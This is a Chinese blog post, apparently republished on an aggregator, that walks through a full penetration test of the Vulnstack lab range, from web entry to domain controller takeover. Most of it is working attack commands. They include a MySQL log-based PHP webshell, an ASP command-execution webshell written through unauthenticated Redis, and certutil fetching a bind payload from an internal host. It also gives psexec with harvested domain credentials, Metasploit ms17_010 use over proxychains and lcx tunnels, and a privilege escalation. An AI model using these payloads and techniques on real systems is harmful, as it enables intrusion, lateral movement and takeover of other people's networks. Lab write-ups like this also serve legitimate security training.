红日靶场全流程渗透测试

2023-12-23 08:59

本文主要是介绍红日靶场全流程渗透测试,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

作者:linshao


靶场下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


目录

web->内网(两条路线:)

 一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

 二.目录扫描yxcms.rar->后台弱口令->模板写shell

内网->域控(三条线路:)

一.密码抓取->寻找域控->psexec登录域控->get

 二.主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get


一、web->内网

一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

1.mysql弱口令:主页尝试root/root数据库连接正常

2.目录扫描phpmyadmin:目录扫描存在phpmyadmin

3.日志写shell:

    文件导出被禁止

    测试一下确实无法导出

    select "test" into outfile "C:\\www\\phpstudy\\test.php"

    使用日志写shell

  //设置日志文件,web绝对路径可以从探针得知

SET GLOBAL general_log_file = "C:\phpStudy\WWW\1.php";set global general_log='on';      //开启日志SELECT '<?php assert($_REQUEST["cmd"]);?>';

4.访问成功:


二.目录扫描yxcms.rar->后台弱口令->模板写shell

1.目录扫描yxcms.rar:

2.登录后台,新建模板

3.访问shell,模板文件位置可在本地搭建环境得知


内网->域控

先上线cs,powershell上线失败,生成exe上线成功

一.密码抓取->寻找域控->psexec登录域控

密码抓取

Administrator/Admin@123

开启远程桌面:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netstat -an findstr 3389查看是否开启成功

远程登录成功

查找域控

以下几个命令都可以获取到域名

systeminfo

ipconfig /all

查找域管

net group "Domain Admins" /do

获取域控ip:

psexec登录:

上传psexec到192.168.1.11执行命令

psexec \\192.168.52.138 -u Administrator -p Admin@123 -s cmd

会回弹一个system权限的cmd回来

到此最简单的获取域控线路结束

二. 主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

主机发现:

arp-a

存在192.168.52.0/24网段

上传nbtscan(就是快!!!)扫描网段,结果ip放置于1.txt(边界ip为192.168.52.143,排除),DC为...138

(实战中可以白天和晚上各扫描一遍来对比)

漏洞扫描:

上传fscan (内网大保健!!!) 扫描1.txt内ip (fscan也可直接扫网段)

根据结果可以看到138和141都存在ms17-010

msf代理攻击:

但是该机器收不到reverce_shell,判断不出网,遂使用cs创建代理隧道

使用proxychains代理msf对内网进行攻击,

由于边界机器win7出网,因此使用lcx监听本地端口转发到msf (边界不出网用pystinger,或者reg打通隧道在整)

如图:

cs创建socks4隧道

kali设置代理:

cs所在ip为192.168.1.2

刚刚设置的socks代理端口为12345

配置proxychains:

kali打开终端,su切换root用户

输入vi /etc/proxychains4.conf

最后一行添加socks4 ip port

按esc输入wq!保存

打开终端输入proxychains firefox访问192.168.52.138:80代理成功

现在我们可以使用proxychains使msf走代理攻击到192.168.52.138,但是无法获得meterpreter会话,因此下一步使用lcx进行端口转发接收meterpreter

win7使用lcx转发

上传lcx到win7,执行命令对55555进行监听:lcx -tran 55555 192.168.1.12:4444

(命令解释:通过lcx监听本地5555端口,收到数据后转发到192.168.1.12的4444端口,

因此kali需要设置监听4444来接收shell)

l

msf监听4444端口:

kali启动终端,输入:msfconsole启动msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.12

set lport 4444

run

proxychains代理msf对域控(192.168.52.138)进行ms17-010攻击

kali启动终端,输入:proxychains msfconsole启动msf

use windows/smb/ms17_010_psexec

set rhosts 192.168.52.138

set lhost 192.168.52.143

set lport 55555

run

攻击完成kali成功获取到会话

至此成功获取到域控,另外可再起一个lcx进程端口来接受192.168.52.139(域内一台server2008机器)的会话

lcx监听55556,同样转发到192.168.1.12的4444

输入:background 把已获取的session放到后台,然后继续监听4444

切换到msf攻击终端去

set rhosts 192.168.52.139

set lport 55556

run

可以看到成功以边界机器win7为跳板同时管理域内多台主机的会话,此方法适用于存在边界机器的不出网内网渗透,以及全不出网机器打通隧道的内网渗透

server2003(192.168.52.141)是x86位系统,因为测试时使用ms17-010的payload打蓝屏了

所以我新增加的主机192.168.52.138,方便达到测试效果

几个反弹shell的payload都不可成功弹shell回来(包括x86的)

不过信息安全的男生是绝不会轻易认输的

再次对192.168.52.141使用nmap漏洞扫描

发现存在ms08-067,再次使用msf进行测试,不过,又失败了。应该是payload的原因,两个漏洞都是接收shell哪儿是有反应的,但meterpreter会话不可用。

渗透本就是逆天而行,死在路上也很正常

经过反复测试

admin/smb/ms17_010_command模块是可以成功执行命令的(多执行几次,有时候会失效)

可以通过

use admin/smb/ms17_010_command

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

set rhosts 192.168.52.141

run

来开启server2008的远程端口,再通过域管账户登录上去

至此,域内机器已全部get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get

主机发现:

沿用以上获取到的ip

端口扫描:

使用fscan批量扫描网段6379:得知192.168.52.138上开放redis端口

且其开放80端口为iis,可尝试redis写webshell

redis未授权:

上传redis-cli.exe到边界服务器win7上(也可以不上传,流量走代理)

执行redis-cli.exe -h 192.168.52.138 -p 6379

发现redis存在未授权,尝试写出asp一句话

getshell:

尝试访问成功

当前权限iis

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd.exe /c whoami").stdout.readall)

正向连接上线msf:

由于不出网,使用msf生成木马通过代理正向连接

上传bind.exe到win7

上传hfs.exe简易http服务器到win7搭建http服务(点开即用,方便极了)

访问连接通过执行certutil命令下载木马到c:\windows\temp\

(%26为&,命令连接符)

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c cd C:\Windows\Temp %26 certutil -urlcache -split -f http://192.168.52.143/bind.exe").stdout.readall)

访问链接执行bind.exe

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c C:\Windows\Temp\ind.exe").stdout.readall)

执行后目标已开放4444端口:

注意:bind_tcp的端口对于其他程序来说是一次性的,也就是说不能扫描,否则bind.exe接收到的数据异常会导致程序崩溃。上图我扫描端口就引起了程序崩溃。重新访问启动木马,访问时候看到速度比较慢则启动木马成功

使用代理的msf进行连接:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.52.138

set lport 4444

run

运行后通过代理连接到域控的4444端口,但是权限特别低(iis权限),下一步进行提权

提权:cve2018-8210提权

sysinfo查看得知系统为2008r2,使用cve2018-8210提权(08系统的提权漏洞挺多的)

#msf上传文件:

upload x64.exe c:\\windows\\temp\\x64.exe

#添加计划任务重新运行bind.exe:

execute -f 'cmd /c at 9:29 c:\\windows\\temp\\x64.exe "c:\\windows\\temp\\bind.exe"'

#退出当前会话,

exit

#等待定时任务执行完毕后再次run

run

成功获取到system权限

TIPS:bind_tcp的会话还是比较不爽的,执行命令只能通过execute -f "whoami"执行,不过这里应该是我有层代理的原因。不是直连的所以会无法获取交互式shell


'一闪一闪亮晶晶,满天都是小星星’

这篇关于红日靶场全流程渗透测试的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/527464

相关文章

Nginx分布式部署流程分析

《Nginx分布式部署流程分析》文章介绍Nginx在分布式部署中的反向代理和负载均衡作用,用于分发请求、减轻服务器压力及解决session共享问题,涵盖配置方法、策略及Java项目应用,并提及分布式事... 目录分布式部署NginxJava中的代理代理分为正向代理和反向代理正向代理反向代理Nginx应用场景

Spring Boot分层架构详解之从Controller到Service再到Mapper的完整流程(用户管理系统为例)

《SpringBoot分层架构详解之从Controller到Service再到Mapper的完整流程(用户管理系统为例)》本文将以一个实际案例(用户管理系统)为例,详细解析SpringBoot中Co... 目录引言:为什么学习Spring Boot分层架构?第一部分:Spring Boot的整体架构1.1

nodejs打包作为公共包使用的完整流程

《nodejs打包作为公共包使用的完整流程》在Node.js项目中,打包和部署是发布应用的关键步骤,:本文主要介绍nodejs打包作为公共包使用的相关资料,文中通过代码介绍的非常详细,需要的朋友可... 目录前言一、前置准备二、创建与编码三、一键构建四、本地“白嫖”测试(可选)五、发布公共包六、常见踩坑提醒

Ubuntu向多台主机批量传输文件的流程步骤

《Ubuntu向多台主机批量传输文件的流程步骤》:本文主要介绍在Ubuntu中批量传输文件到多台主机的方法,需确保主机互通、用户名密码统一及端口开放,通过安装sshpass工具,准备包含目标主机信... 目录Ubuntu 向多台主机批量传输文件1.安装 sshpass2.准备主机列表文件3.创建一个批处理脚

一个Java的main方法在JVM中的执行流程示例详解

《一个Java的main方法在JVM中的执行流程示例详解》main方法是Java程序的入口点,程序从这里开始执行,:本文主要介绍一个Java的main方法在JVM中执行流程的相关资料,文中通过代码... 目录第一阶段:加载 (Loading)第二阶段:链接 (Linking)第三阶段:初始化 (Initia

Git打标签从本地创建到远端推送的详细流程

《Git打标签从本地创建到远端推送的详细流程》在软件开发中,Git标签(Tag)是为发布版本、标记里程碑量身定制的“快照锚点”,它能永久记录项目历史中的关键节点,然而,仅创建本地标签往往不够,如何将其... 目录一、标签的两种“形态”二、本地创建与查看1. 打附注标http://www.chinasem.cn

通过Docker容器部署Python环境的全流程

《通过Docker容器部署Python环境的全流程》在现代化开发流程中,Docker因其轻量化、环境隔离和跨平台一致性的特性,已成为部署Python应用的标准工具,本文将详细演示如何通过Docker容... 目录引言一、docker与python的协同优势二、核心步骤详解三、进阶配置技巧四、生产环境最佳实践

MyBatis分页查询实战案例完整流程

《MyBatis分页查询实战案例完整流程》MyBatis是一个强大的Java持久层框架,支持自定义SQL和高级映射,本案例以员工工资信息管理为例,详细讲解如何在IDEA中使用MyBatis结合Page... 目录1. MyBATis框架简介2. 分页查询原理与应用场景2.1 分页查询的基本原理2.1.1 分

redis-sentinel基础概念及部署流程

《redis-sentinel基础概念及部署流程》RedisSentinel是Redis的高可用解决方案,通过监控主从节点、自动故障转移、通知机制及配置提供,实现集群故障恢复与服务持续可用,核心组件包... 目录一. 引言二. 核心功能三. 核心组件四. 故障转移流程五. 服务部署六. sentinel部署

SpringBoot集成XXL-JOB实现任务管理全流程

《SpringBoot集成XXL-JOB实现任务管理全流程》XXL-JOB是一款轻量级分布式任务调度平台,功能丰富、界面简洁、易于扩展,本文介绍如何通过SpringBoot项目,使用RestTempl... 目录一、前言二、项目结构简述三、Maven 依赖四、Controller 代码详解五、Service